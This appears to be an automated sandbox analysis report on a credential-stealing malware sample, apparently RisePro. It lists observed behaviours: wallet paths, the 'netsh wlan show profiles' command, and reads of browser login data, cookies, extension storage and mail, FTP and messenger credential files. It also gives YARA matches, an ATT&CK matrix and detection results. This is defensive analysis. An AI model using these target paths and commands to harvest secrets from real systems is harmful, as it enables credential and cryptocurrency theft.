Found many strings related to Crypto-Wallets (likely being stolen)

Source: 590971cd60.exe, 00000014.00000003.2598707896.0000000007F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx
Source: 590971cd60.exe, 00000014.00000003.2598707896.0000000007F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet~
Source: 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets
Source: 590971cd60.exe, 00000014.00000003.2598707896.0000000007F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet~
Source: 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets
Source: 590971cd60.exe, 00000014.00000003.2598707896.0000000007F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets$
Source: 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: powershell.exe, 0000000D.00000002.2449781101.0000017E32F5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored
Source: 590971cd60.exe, 00000014.00000002.2894697417.0000000007F00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json

Tries to harvest and steal ftp login credentials

Source: C:\Windows\System32\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\oobe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\ctdHFaOFtzZOUECZpaTYJiPURhhWvconESoaMbLeFCEZNaYeLeGhbWPiOEzlzfBKb\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\09fd851a4f\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SysWOW64\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\{6D809377-6AF0-444B-8957-A3773F02200E}\Common Files\microsoft shared\ClickToRun\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\oobe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\ctdHFaOFtzZOUECZpaTYJiPURhhWvconESoaMbLeFCEZNaYeLeGhbWPiOEzlzfBKb\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\09fd851a4f\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SysWOW64\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\1000055001\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\4d0ab15804\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\Google\Chrome\Application\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\1000056001\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\{6D809377-6AF0-444B-8957-A3773F02200E}\Common Files\microsoft shared\ClickToRun\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: bad48ea9ac.exe, 0000001F.00000003.2791393164.00000000012F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP
Source: bad48ea9ac.exe, 0000001F.00000002.2814535383.00000000008C2000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: bad48ea9ac.exe, 0000000F.00000003.2681540160.0000000001653000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP/

Source: Yara match	File source: 00000028.00000002.2907223447.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 590971cd60.exe PID: 5804, type: MEMORYSTR

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 00000014.00000002.2888771295.0000000001868000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.2619416783.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2927751545.0000000008107000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000003.2871931818.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.2897094573.00000000002E1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.2553727448.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.2702706239.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2895798421.0000000000631000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2895930049.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 590971cd60.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\aMLtP386CmzygUXw7MGrDsU.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\4JKZLoG_AJreMfNRzAg0gnZ.zip, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B002D8 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00B002D8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AFF5E1 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00AFF5E1

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	4 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	12 Software Packing	1 Credentials In Files	246 System Information Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	271 Virtualization/Sandbox Evasion	DCSync	271 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
UeW2b6mU6Z.exe	39%	ReversingLabs	Win32.Trojan.Generic
UeW2b6mU6Z.exe	100%	Avira	TR/Crypt.TPM.Gen
UeW2b6mU6Z.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	100%	Avira	TR/ClipBanker.tbxxw
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	100%	Avira	TR/PSW.Agent.szlsq
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll	100%	Avira	TR/PSW.Agent.szlsq
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	100%	Avira	TR/ClipBanker.pjgxt
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	100%	Joe Sandbox ML
